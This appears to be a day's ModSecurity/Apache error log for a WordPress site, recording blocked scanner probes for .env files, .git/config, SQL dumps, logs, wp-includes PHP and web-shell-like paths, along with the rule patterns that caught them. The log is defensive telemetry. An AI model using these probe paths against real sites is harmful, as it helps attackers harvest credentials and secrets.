[Wed Jan 14 01:12:07.931260 2026] [:error] [pid 63842:tid 63864] [client 140.245.117.185:64633] [client 140.245.117.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWZ8520zPTD54ET7u1kmNwAAAVI"]
[Wed Jan 14 01:12:08.342192 2026] [:error] [pid 25809:tid 25830] [client 140.245.117.185:62022] [client 140.245.117.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aWZ86I9SDqNJ9R9VfZD7eQAAAFM"]
[Wed Jan 14 01:12:08.750770 2026] [:error] [pid 43385:tid 43409] [client 140.245.117.185:49153] [client 140.245.117.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/"] [unique_id "aWZ86MFJIMneckmN0mrn9QAAAQ0"]
[Wed Jan 14 02:11:11.126971 2026] [:error] [pid 63842:tid 63860] [client 4.190.190.129:61702] [client 4.190.190.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aWaKv20zPTD54ET7u1kzDgAAAU4"], referer: https://duckduckgo.com/
[Wed Jan 14 02:11:11.628534 2026] [:error] [pid 25809:tid 25820] [client 4.190.190.129:11546] [client 4.190.190.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/index.php"] [unique_id "aWaKv49SDqNJ9R9VfZAK5gAAAEk"], referer: https://www.google.fr/
[Wed Jan 14 03:08:04.790070 2026] [autoindex:error] [pid 63843:tid 63884] [client 4.214.0.249:10113] AH01276: Cannot serve directory /home/measureyourbrand/public_html/assets/images/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Jan 14 03:08:18.758798 2026] [:error] [pid 17318:tid 17327] [client 4.214.0.249:10198] [client 4.214.0.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aWaYIpTW8IFCRaNSu98FuwAAAsY"], referer: https://www.bing.com/
[Wed Jan 14 03:08:19.241249 2026] [:error] [pid 25809:tid 25823] [client 4.214.0.249:10187] [client 4.214.0.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aWaYI49SDqNJ9R9VfZAZ4AAAAEw"], referer: https://www.google.fr/
[Wed Jan 14 03:08:19.719535 2026] [:error] [pid 63842:tid 63866] [client 4.214.0.249:10113] [client 4.214.0.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/index.php"] [unique_id "aWaYI20zPTD54ET7u1lBZQAAAVQ"], referer: https://www.bing.com/
[Wed Jan 14 03:08:19.947459 2026] [:error] [pid 17176:tid 17179] [client 4.214.0.249:10230] [client 4.214.0.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/gallery/index.php"] [unique_id "aWaYI0elsuzvwAlu0TX7CQAAAkA"], referer: https://www.google.co.uk/
[Wed Jan 14 03:08:20.426052 2026] [:error] [pid 63843:tid 63892] [client 4.214.0.249:10177] [client 4.214.0.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aWaYJIqxEwB7D1-DxXf_mAAAAJI"], referer: https://www.google.de/
[Wed Jan 14 03:08:20.659116 2026] [:error] [pid 63931:tid 63957] [client 4.214.0.249:10202] [client 4.214.0.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aWaYJNVnG0cQj3cwmW9ypgAAABg"], referer: https://www.google.co.uk/
[Wed Jan 14 03:08:21.623315 2026] [:error] [pid 17318:tid 17345] [client 4.214.0.249:10224] [client 4.214.0.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.214.0.249, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWaYJZTW8IFCRaNSu98FyAAAAtg"], referer: https://www.google.co.uk/
[Wed Jan 14 03:08:21.740622 2026] [:error] [pid 63843:tid 63876] [client 4.214.0.249:10113] [client 4.214.0.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.214.0.249, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/xmlrpc.php"] [unique_id "aWaYJYqxEwB7D1-DxXf_ogAAAII"], referer: https://www.google.co.uk/
[Wed Jan 14 03:41:53.420278 2026] [:error] [pid 24710:tid 24731] [client 124.156.225.181:39582] [client 124.156.225.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWagAWXBo5bEhDEEhs1FswAAANM"]
[Wed Jan 14 04:51:15.342984 2026] [:error] [pid 58977:tid 58993] [client 104.208.97.94:13672] [client 104.208.97.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aWawQ7lT6ggZLRx9QvD-IQAAAg0"], referer: https://www.google.fr/
[Wed Jan 14 04:51:15.829191 2026] [:error] [pid 59074:tid 59098] [client 104.208.97.94:52568] [client 104.208.97.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/index.php"] [unique_id "aWawQ0_KrJ818pzhB3xhngAAAlY"], referer: https://www.google.de/
[Wed Jan 14 04:51:16.064640 2026] [:error] [pid 58699:tid 58711] [client 104.208.97.94:52604] [client 104.208.97.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/gallery/index.php"] [unique_id "aWawROYdPBtkMLK2SdqmhAAAAQk"], referer: https://duckduckgo.com/
[Wed Jan 14 04:51:16.307244 2026] [:error] [pid 24603:tid 24680] [client 104.208.97.94:13664] [client 104.208.97.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/list-item/index.php"] [unique_id "aWawRJPBJGFGN8VT8_SeTwAAAI8"], referer: https://www.yahoo.com/
[Wed Jan 14 04:58:56.426426 2026] [:error] [pid 24602:tid 24639] [client 43.166.255.122:47972] [client 43.166.255.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWayEEooYwabcb9R9fw2bwAAAEE"]
[Wed Jan 14 06:22:50.479567 2026] [:error] [pid 58899:tid 58915] [client 106.54.62.156:36722] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWbFugWViGQd5R44tHF8MgAAAYw"]
[Wed Jan 14 10:11:09.996660 2026] [:error] [pid 37034:tid 37057] [client 43.130.12.43:38236] [client 43.130.12.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWb7PfpIliqezwCf6Q0lwQAAANU"]
[Wed Jan 14 11:28:38.269865 2026] [:error] [pid 36986:tid 37012] [client 159.65.157.80:55674] [client 159.65.157.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.157.80, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aWcNZte0JvHv1YdpWx74mgAAAJc"]
[Wed Jan 14 11:28:39.189226 2026] [:error] [pid 19189:tid 19260] [client 159.65.157.80:55745] [client 159.65.157.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.157.80, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aWcNZ3Csh382x04yx-0WXwAAAc0"]
[Wed Jan 14 11:43:15.765842 2026] [:error] [pid 19187:tid 19212] [client 104.28.246.114:52795] [client 104.28.246.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aWcQ089QVhFYhOfPPbPkngAAAFQ"]
[Wed Jan 14 11:43:16.192765 2026] [:error] [pid 19189:tid 19251] [client 104.28.246.114:52808] [client 104.28.246.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/style.php"] [unique_id "aWcQ1HCsh382x04yx-0ZhQAAAcQ"]
[Wed Jan 14 11:43:19.644691 2026] [:error] [pid 19187:tid 19198] [client 104.28.246.114:47041] [client 104.28.246.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/style.php"] [unique_id "aWcQ189QVhFYhOfPPbPkoAAAAEY"]
[Wed Jan 14 12:46:11.189558 2026] [:error] [pid 19189:tid 19258] [client 59.90.29.203:59656] [client 59.90.29.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.90.29.203, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWcfk3Csh382x04yx-0qFgAAAcs"]
[Wed Jan 14 13:30:06.244478 2026] [:error] [pid 19187:tid 19198] [client 64.225.97.5:52593] [client 64.225.97.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.225.97.5, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aWcp3s9QVhFYhOfPPbP4gQAAAEY"]
[Wed Jan 14 13:30:07.352427 2026] [:error] [pid 19189:tid 19269] [client 64.225.97.5:52642] [client 64.225.97.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.225.97.5, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aWcp33Csh382x04yx-05OQAAAdY"]
[Wed Jan 14 17:26:37.205495 2026] [:error] [pid 61377:tid 61420] [client 43.166.128.187:57828] [client 43.166.128.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWdhTcx0Xs4tcq6R-Wg9owAAAco"]
[Wed Jan 14 18:37:59.157152 2026] [:error] [pid 61377:tid 61427] [client 182.42.111.213:36978] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWdyB8x0Xs4tcq6R-WhQtgAAAdE"]
[Wed Jan 14 19:49:24.602544 2026] [:error] [pid 61378:tid 61438] [client 3.15.207.91:49432] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aWeCxBGjJjuJmoPOtlo5igAAAAE"]
[Wed Jan 14 19:49:25.480186 2026] [:error] [pid 21490:tid 21495] [client 3.15.207.91:49698] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aWeCxe26AHzy1muKyudCUgAAAQI"]
[Wed Jan 14 19:49:27.313638 2026] [:error] [pid 61378:tid 61461] [client 3.15.207.91:50232] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/backup.sql"] [unique_id "aWeCxxGjJjuJmoPOtlo5iwAAABg"]
[Wed Jan 14 19:49:28.227408 2026] [:error] [pid 21490:tid 21517] [client 3.15.207.91:50516] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/debug.log"] [unique_id "aWeCyO26AHzy1muKyudCUwAAARg"]
[Wed Jan 14 19:49:29.116893 2026] [:error] [pid 8057:tid 8064] [client 3.15.207.91:50842] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/database.sql"] [unique_id "aWeCybFNJ5k8MCPHoPUOigAAAMU"]
[Wed Jan 14 19:49:30.008951 2026] [:error] [pid 61378:tid 61448] [client 3.15.207.91:51170] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/storage/logs/laravel.log"] [unique_id "aWeCyhGjJjuJmoPOtlo5jAAAAAs"]
[Wed Jan 14 19:49:34.542701 2026] [:error] [pid 7961:tid 7972] [client 3.15.207.91:52732] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/dump.sql"] [unique_id "aWeCzpjhjzEJ3QX9Hub9WAAAAEk"]
[Wed Jan 14 19:49:36.318384 2026] [:error] [pid 61378:tid 61441] [client 3.15.207.91:53388] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "aWeC0BGjJjuJmoPOtlo5jgAAAAQ"]
[Wed Jan 14 19:49:37.192726 2026] [:error] [pid 61376:tid 61400] [client 3.15.207.91:53716] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/log/error.log"] [unique_id "aWeC0ajRUNDW2YrxZG5bWQAAAVM"]
[Wed Jan 14 19:49:38.071878 2026] [:error] [pid 61377:tid 61431] [client 3.15.207.91:54052] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/backend/.env"] [unique_id "aWeC0sx0Xs4tcq6R-Whl-AAAAdU"]
[Wed Jan 14 19:49:42.066176 2026] [:error] [pid 61377:tid 61414] [client 3.15.207.91:55640] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aWeC1sx0Xs4tcq6R-Whl_gAAAcQ"]
[Wed Jan 14 19:49:43.871458 2026] [:error] [pid 7961:tid 7983] [client 3.15.207.91:56526] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aWeC15jhjzEJ3QX9Hub9XwAAAFQ"]
[Wed Jan 14 19:49:44.765335 2026] [:error] [pid 8057:tid 8068] [client 3.15.207.91:56930] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/admin/.env"] [unique_id "aWeC2LFNJ5k8MCPHoPUOlAAAAMk"]
[Wed Jan 14 19:49:45.659975 2026] [:error] [pid 7961:tid 7977] [client 3.15.207.91:57322] [client 3.15.207.91] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "aWeC2ZjhjzEJ3QX9Hub9YwAAAE4"]
[Wed Jan 14 21:50:35.345686 2026] [:error] [pid 8057:tid 8059] [client 43.156.109.53:50486] [client 43.156.109.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWefK7FNJ5k8MCPHoPUkvgAAAMA"]
[Wed Jan 14 22:53:06.244703 2026] [:error] [pid 61376:tid 61405] [client 43.130.131.18:50124] [client 43.130.131.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWet0qjRUNDW2YrxZG50AgAAAVg"]
[Wed Jan 14 23:29:18.035443 2026] [:error] [pid 7961:tid 7982] [client 35.227.166.238:56992] [client 35.227.166.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.227.166.238, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWe2TpjhjzEJ3QX9HuYf1AAAAFM"]
[Wed Jan 14 23:29:19.995855 2026] [:error] [pid 7961:tid 7981] [client 35.227.166.238:56992] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aWe2T5jhjzEJ3QX9HuYf2gAAAFI"]
